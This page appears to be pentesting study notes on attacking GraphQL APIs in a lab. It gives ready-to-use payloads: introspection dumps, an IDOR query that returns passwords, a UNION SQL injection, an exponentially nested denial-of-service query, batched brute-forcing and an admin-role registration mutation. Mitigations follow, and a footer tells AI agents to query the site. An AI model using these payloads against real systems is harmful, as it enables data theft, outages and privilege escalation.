# GraphQL

Queries are the part of the graphQL request that are followed by braces `{` and can have OPTIONALLY parameters written as `(parameter_name: "value")`.

Queries can be made of fields and other sub-queries.

## Information Disclosure

### Identifying the GraphQL Engine

As a first step, we will identify the GraphQL engine used by the web application using the tool [graphw00f](https://github.com/dolevf/graphw00f). Graphw00f will send various GraphQL queries, including malformed queries, and can determine the GraphQL engine by observing the backend's behavior and error messages in response to these queries.

After cloning the git repository, we can run the tool using the `main.py` Python script. We will run the tool in fingerprint (`-f`) and detect mode (`-d`). We can provide the web application's base URL to let graphwoof attempt to find the GraphQL endpoint by itself:

```bash
python3 main.py -d -f -t http://172.17.0.2
```

. Additionally, it provides us with the corresponding detailed page in the [GraphQL-Threat-Matrix](https://github.com/nicholasaleks/graphql-threat-matrix), which provides more in-depth information about the identified GraphQL engine:

Lastly, by accessing the `/graphql` endpoint in a web browser directly, we can see that the web application runs a [graphiql](https://github.com/graphql/graphiql) interface. This enables us to provide GraphQL queries directly, which is a lot more convenient than running the queries through Burp, as we do not need to worry about breaking the JSON syntax.

### Introspection

[Introspection](https://graphql.org/learn/introspection/) is a GraphQL feature that enables users to query the GraphQL API about the structure of the backend system. As such, users can use introspection queries to obtain all queries supported by the API schema. These introspection queries query the `__schema` field.

For instance, we can identify all GraphQL types supported by the backend using the following query:

```graphql
{
  __schema {
    types {
      name
    }
  }
}
```

Now that we know a type, we can follow up and obtain the name of all of the type's fields with the following introspection query:

```graphql
{
  __type(name: "UserObject") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}
```

Furthermore, we can obtain all the queries supported by the backend using this query:

```graphql
{
  __schema {
    queryType {
      fields {
        name
        description
      }
    }
  }
}
```

Knowing all supported queries helps us identify potential attack vectors that we can use to obtain sensitive information. Lastly, we can use the following "general" introspection query that dumps all information about types, fields, and queries supported by the backend:

```graphql
query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }
```

Or everything in 1 line:

```graphql
{"data":{"__schema":{"queryType":{"name":"Query"},"mutationType":{"name":"Mutation"},"subscriptionType":null,"types":[{"kind":"OBJECT","name":"Query","description":null,"fields":[{"name":"node","description":null,"args":[{"name":"id","description":"The ID of the object","type":{"kind":"NON_NULL","name":null,"ofType":{"kind":"SCALAR","name":"ID","ofType":null}},"defaultValue":null}],"type":{"kind":"INTERFACE","name":"Node","ofType":null},"isDeprecated":false,"deprecationReason":null},{"n
```

The result of this query is quite large and complex. However, we can visualize the schema using the tool [GraphQL-Voyager](https://github.com/graphql-kit/graphql-voyager). For this module, we will use the [GraphQL Demo](https://graphql-kit.com/graphql-voyager/). However, in a real engagement, we should follow the GitHub instructions to host the tool ourselves so that we can ensure that no sensitive information leaves our system.

In the demo, we can click `CHANGE SCHEMA` and select `INTROSPECTION`. After pasting the result of the above introspection query in the text field and clicking on `DISPLAY`, the backend's GraphQL schema is visualized for us. We can explore all supported queries, types, and fields:

<figure><img src="/files/MnKt8aQiiqbUz7DvbtRG" alt=""><figcaption></figcaption></figure>

## Insecure Direct Object Reference (IDOR)

### Identifying IDOR

To identify issues regarding broken authorization, we first need to identify potential attack points that would enable us to access data we are not authorized to access. Enumerating the web application, we can observe that the following GraphQL query is sent when we access our user profile (EXAMPLE):

<figure><img src="/files/NX5rIODMCV7XJKMpr6Vl" alt=""><figcaption></figcaption></figure>

As we can see, user data is queried for the username provided in the query. While the web application automatically queries the data for the user we logged in with, we should check if we can access other user's data. To do so, let us provide a different username we know exists: `test`.

Note that we need to escape the double quotes inside the GraphQL query to not break the JSON syntax:

<figure><img src="/files/NDwznLnxM0VddAp4HoGt" alt=""><figcaption></figcaption></figure>

### Exploiting IDOR

To demonstrate the impact of this IDOR vulnerability, we need to determine what data we can access without authorization. To do so, we are going to use the following introspection queries to determine all fields of `User` type:

```graphql
{
  __type(name: "UserObject") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}
```

As we can see from the result, the `User` object contains a `password` field that, presumably, contains the user's password:

Let us adjust the initial GraphQL query to check if we can exploit the IDOR vulnerability to obtain another user's password by adding the `password` field in the GraphQL query:

```graphql
{
  user(username: "test") {
    username
    password
  }
}
```

From the result, we can see that we have successfully obtained the user's password.

## Injection Attacks

### SQL Injection

Since GraphQL is a query language, the most common use case is fetching data from some kind of storage, typically a database. As SQL databases are one of the most predominant forms of databases, SQL injection vulnerabilities can inherently occur in GraphQL APIs that do not properly sanitize user input from arguments in the SQL queries executed by the backend.

Therefore, we should carefully investigate all GraphQL queries, check whether they support arguments, and analyze these arguments for potential SQL injections.

Using the introspection query discussed earlier and some trial-and-error, we can identify that the backend supports the following queries that require arguments:

* `post`
* `user`
* `postByAuthor`

To identify if a query requires an argument, we can send the query without any arguments and analyze the response. If the backend expects an argument, the response contains an error that tells us the name of the required argument. For instance, the following error message tells us that the `postByAuthor` query requires the `author` argument:

<figure><img src="/files/4QPXrJFWVwXVv91D3BBg" alt=""><figcaption></figcaption></figure>

After supplying the `author` argument, the query is executed successfully

We can now investigate whether the `author` argument is vulnerable to SQL injection. For instance, if we try a basic SQL injection payload, the query does not return any result:

<figure><img src="/files/HTGysRLovoIRDMhNz213" alt=""><figcaption></figcaption></figure>

Let us move on to the `user` query. If we try the same payload there, the query still returns the previous result, indicating a SQL injection vulnerability:

<figure><img src="/files/A5Ik6EvVfmrIWTZQ8fip" alt=""><figcaption></figcaption></figure>

If we simply inject a single quote, the response contains a SQL error, confirming the vulnerability:

<figure><img src="/files/RFzeVW2WjAB1tRfPn6QD" alt=""><figcaption></figcaption></figure>

Since the SQL query is displayed in the SQL error, we can construct a UNION-based SQL injection query to exfiltrate data from the SQL database. Remember that the database might contain data that we cannot query from the GraphQL API. As such, we should check for any sensitive data in the database that we can access.

To construct a UNION-based SQL injection payload, let us take another look at the results of the introspection query:

<figure><img src="/files/wpuOrs3ffiVAhD6CWvPe" alt=""><figcaption></figcaption></figure>

The vulnerable `user` query returns a `UserObject`, so let us focus on that object. As we can see, the object consists of six fields and a link (`posts`)

The fields correspond to columns in the database table. As such, our UNION-based SQL injection payload needs to contain six columns to match the number of columns in the original query. Furthermore, the fields we specify in our GraphQL query correspond to the columns returned in the response. For instance, since the `username` is a `UserObject's` third field, querying for the `username` will result in the third column of our UNION-based payload being reflected in the response.

As the GraphQL query only returns the first row, we will use the [GROUP\_CONCAT](https://mariadb.com/kb/en/group_concat/) function to exfiltrate multiple rows at a time. This enables us to exfiltrate all table names in the current database with the following payload:

```graphql
{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") {
    username
  }
}
```

The response contains all table names concatenated in the `username` field:

```graphql
{
  "data": {
    "user": {
      "username": "user,secret,post"
    }
  }
}
```

Since this is a SQL injection vulnerability just like in any other web application, we can use all SQL payloads and attack vectors to enumerate column names and finally exfiltrate data. For more details on exploiting SQL injections check [SQL Injection Fundamentals](/sql-injection-fundamentals.md)

### Cross-Site Scripting (XSS)

XSS vulnerabilities can occur if GraphQL responses are inserted into the HTML page without proper sanitization. Similar to the above SQL injection vulnerability, we should investigate any GraphQL arguments for potential XSS injection points. However, in this case, both queries do not return an XSS payload:

<figure><img src="/files/fEgriT0uVoLZnA7zyMyX" alt=""><figcaption></figcaption></figure>

XSS vulnerabilities can also occur if invalid arguments are reflected in error messages. Let us look at the `post` query, which expects an integer ID as an argument. If we instead submit a string argument containing an XSS payload, we can see that the XSS payload is reflected without proper encoding in the GraphQL error message:

<figure><img src="/files/H8TZmAX5hzBpkbpusFzs" alt=""><figcaption></figcaption></figure>

However, if we attempt to trigger the URL from the corresponding GET-parameter by accessing the URL `/post?id=<script>alert(1)</script>`, we can observe that the page simply breaks, and the XSS payload is not triggered.

## Denial-of-Service (DoS) & Batching Attacks

Depending on the GraphQL API's configuration, we can create queries that result in exponentially large responses and require significant resources to process. This can lead to high hardware utilization on the backend system, potentially leading to a DoS scenario that limits the service's availability to other users.

### Denial-of-Service (DoS) Attacks

To execute a DoS attack, we must identify a way to construct a query that results in a large response. Let's look at the visualization of the introspection results in `GraphQL Voyager`. We can identify a loop between the `UserObject` and `PostObject` via the `author` and `posts` fields:

<figure><img src="/files/SWtzUzKKtxEUe0a6yXzU" alt=""><figcaption></figcaption></figure>

We can abuse this loop by constructing a query that queries the author of all posts. For each author, we then query the author of all posts again. If we repeat this many times, the result grows exponentially larger, potentially resulting in a DoS scenario.

Since the `posts` object is a `connection`, we need to specify the `edges` and `node` fields to obtain a reference to the corresponding `Post` object. As an example, let us query the author of all posts. From there, we will query all posts by each author and then the author's username for each of these posts:

```graphql
{
  posts {
    author {
      posts {
        edges {
          node {
            author {
              username
            }
          }
        }
      }
    }
  }
}
```

This is an infinite loop we can repeat as many times as we want. If we take a look at the result of this query, it is already quite large because the response grows exponentially larger with each iteration of the loop we query:

<figure><img src="/files/S8U10MTf1uP1ModbBPfd" alt=""><figcaption></figcaption></figure>

Making our initial query large will slow down the server significantly, potentially causing availability issues for other users. For instance, the following query crashes the `GraphiQL` instance:

```graphql
{
  posts {
    author {
      posts {
        edges {
          node {
            author {
              posts {
                edges {
                  node {
                    author {
                      posts {
                        edges {
                          node {
                            author {
                              posts {
                                edges {
                                  node {
                                    author {
                                      posts {
                                        edges {
                                          node {
                                            author {
                                              posts {
                                                edges {
                                                  node {
                                                    author {
                                                      posts {
                                                        edges {
                                                          node {
                                                            author {
                                                              posts {
                                                                edges {
                                                                  node {
                                                                    author {
                                                                      username
                                                                    }
                                                                  }
                                                                }
                                                              }
                                                            }
                                                          }
                                                        }
                                                      }
                                                    }
                                                  }
                                                }
                                              }
                                            }
                                          }
                                        }
                                      }
                                    }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
```

### Batching Attacks

Batching in GraphQL refers to executing multiple queries with a single request. We can do so by directly supplying multiple queries in a JSON list in the HTTP request. For instance, we can query the ID of the user `admin` and the title of the first post in a single request:

```http
POST /graphql HTTP/1.1
Host: 172.17.0.2
Content-Length: 86
Content-Type: application/json

[
	{
		"query":"{user(username: \"admin\") {uuid}}"
	},
	{
		"query":"{post(id: 1) {title}}"
	}
]
```

The response contains the requested information in the same structure we provided the query in:

<figure><img src="/files/G8MxHf5n5vBiVDrTs4om" alt=""><figcaption></figcaption></figure>

Batching is not a security vulnerability but an intended feature that can be enabled or disabled. However, batching can lead to security issues if GraphQL queries are used for sensitive processes such as user login. Since batching enables an attacker to provide multiple GraphQL queries in a single request, it can potentially be used to conduct brute-force attacks with significantly fewer HTTP requests. This could lead to bypasses of security measures in place to prevent brute-force attacks, such as rate limits.

For instance, assume a web application uses GraphQL queries for user login. The GraphQL endpoint is protected by a rate limit, allowing only five requests per second. An attacker can brute-force user accounts with only five passwords per second. However, using GraphQL batching, an attacker can put multiple login queries into a single HTTP request. Assuming the attacker constructs an HTTP request containing 1000 different GraphQL login queries, the attacker can now brute-force user accounts with up to 5000 passwords per second, rendering the rate limit ineffective. Thus, GraphQL batching can enable powerful brute-force attacks.

## Mutations

### What are mutations?

Mutations are GraphQL queries that modify server data. They can be used to create new objects, update existing objects, or delete existing objects.

Let us start by identifying all mutations supported by the backend and their arguments. We will use the following introspection query:

```graphql
query {
  __schema {
    mutationType {
      name
      fields {
        name
        args {
          name
          defaultValue
          type {
            ...TypeRef
          }
        }
      }
    }
  }
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}
```

Or in 1 line:

```graphql
query { __schema { mutationType { name fields { name args { name defaultValue type { ...TypeRef } } } } } } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }
```

From the result, we can identify a mutation `registerUser`, presumably allowing us to create new users. The mutation requires a `RegisterUserInput` object as an input:

<figure><img src="/files/IlTrhguFEDVivGMphfDm" alt=""><figcaption></figcaption></figure>

We can now query all fields of the `RegisterUserInput` object with the following introspection query to obtain all fields that we can use in the mutation:

```graphql
{   
  __type(name: "RegisterUserInput") {
    name
    inputFields {
      name
      description
      defaultValue
    }
  }
}
```

From the result, we can identify that we can provide the new user's `username`, `password`, `role`, and `msg`

As we identified earlier, we need to provide the password as an MD5-hash. To hash our password, we can use the following command:

```bash
echo -n 'password' | md5sum
```

With the hashed password, we can now finally register a new user by running the mutation:

```graphql
mutation {
  registerUser(input: {username: "vautia", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "user", msg: "newUser"}) {
    user {
      username
      password
      msg
      role
    }
  }
}
```

The result contains the fields we queried in the mutation's body so that we can check for errors:

<figure><img src="/files/sZA3NPgl5czLqI2ne2ry" alt=""><figcaption></figcaption></figure>

We can now successfully log in to the application with our newly registered user.

### Exploitation with Mutations

To identify potential attack vectors through mutations, we need to thoroughly examine all supported mutations and their inputs. In this case, we can provide the `role` argument for newly registered users, which might enable us to create users with a different role than the default role, potentially allowing us to escalate privileges.

We have identified the roles `user` and `admin` from querying all existing users. Let us create a new user with the role `admin` and check if this enables us to access the internal admin endpoint at `/admin`. We can use the following GraphQL mutation:

```graphql
mutation {
  registerUser(input: {username: "vautiaAdmin", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "Hacked!"}) {
    user {
      username
      password
      msg
      role
    }
  }
}
```

In the result, we can see that the role `admin` is reflected, which indicates that the attack was successful

## Tools of the Trade

We have already discussed tools that can help us in the enumeration phase: [graphw00f](https://github.com/dolevf/graphw00f) and [graphql-voyager](https://github.com/graphql-kit/graphql-voyager). We will now discuss further tools to help us attack GraphQL APIs.

### GraphQL-Cop

We can use the tool [GraphQL-Cop](https://github.com/dolevf/graphql-cop), a security audit tool for GraphQL APIs. After cloning the GitHub repository and installing the required dependencies, we can run the `graphql-cop.py` Python script:

```bash
python3 graphql-cop.py  -v
```

We can then specify the GraphQL API's URL with the `-t` flag. GraphQL-Cop then executes multiple basic security configuration checks and lists all identified issues, which is a great baseline for further manual tests:

```bash
python3 graphql-cop/graphql-cop.py -t http://172.17.0.2/graphql
```

### InQL

[InQL](https://github.com/doyensec/inql) is a Burp extension we can install via the `BApp Store` in Burp. After a successful installation, an `InQL` tab is added in Burp.

Furthermore, the extension adds `GraphQL` tabs in the Proxy History and Burp Repeater that enable simple modification of the GraphQL query without having to deal with the encompassing JSON syntax:

<figure><img src="/files/ZHYyBlFGzCFQ9BiYNKtP" alt=""><figcaption></figcaption></figure>

Furthermore, we can right-click on a GraphQL request and select `Extensions > InQL - GraphQL Scanner > Generate queries with InQL Scanner`:

<figure><img src="/files/hA3vXVcdBatt38k0KDxk" alt=""><figcaption></figcaption></figure>

Afterward, InQL generates introspection information. The information regarding all mutations and queries is provided in the `InQL` tab for the scanned host:

<figure><img src="/files/wqu6Cqnox6OU7B1BUwwY" alt=""><figcaption></figcaption></figure>

This is only a basic overview of InQL's functionality. Check out the official [GitHub repository](https://github.com/portswigger/inql) for more details.

## GraphQL Vulnerability Prevention

***

After discussing how to attack different vulnerabilities that arise from misconfigured GraphQL implementations, let's discuss mitigations to prevent these vulnerabilities.

***

### Vulnerability Prevention

#### Information Disclosure

General security best practices apply to prevent information disclosure vulnerabilities. These include preventing verbose error messages and instead displaying generic error messages. Furthermore, introspection queries are potent tools for obtaining information. As such, they should be disabled if possible. At the very least, whether any sensitive information is disclosed in introspection queries should be checked. If this is the case, all sensitive information needs to be removed.

#### Injection Attacks

Proper input validation checks need to be implemented to prevent any injection-type attacks such as SQL injection, command injection, or XSS. Any data the user supplies should be treated as untrusted before appropriate sanitization. The use of allowlists should be preferred over denylists.

#### Denial-of-Service (DoS)

As discussed, DoS attacks and the amplification of brute-force attacks through batching are common GraphQL attack vectors. Proper limits need to be implemented to mitigate these types of attacks. This can include limits to the GraphQL query depth, limits to the maximum GraphQL query size, and rate limits on the GraphQL endpoint to prevent many subsequent queries in quick succession. Additionally, batching should be turned off in GraphQL queries if possible. If batching is required, the query depth needs to be limited.

#### API Design

General API security best practices should be followed to prevent further attacks, such as attacks against improper access control (for instance, IDOR) or attacks resulting from improper authorization checks on mutations. This includes strict access control measures according to the principle of least privileges. In particular, the GraphQL endpoint should only be accessible after successful authentication, if possible, according to the API's use case. Furthermore, authorization checks must be implemented; preventing actors from executing queries or mutations they are not authorized to.

For more details on securing GraphQL APIs, check out OWASP's [GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.rtlcopymemory.com/web-attacks/graphql.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
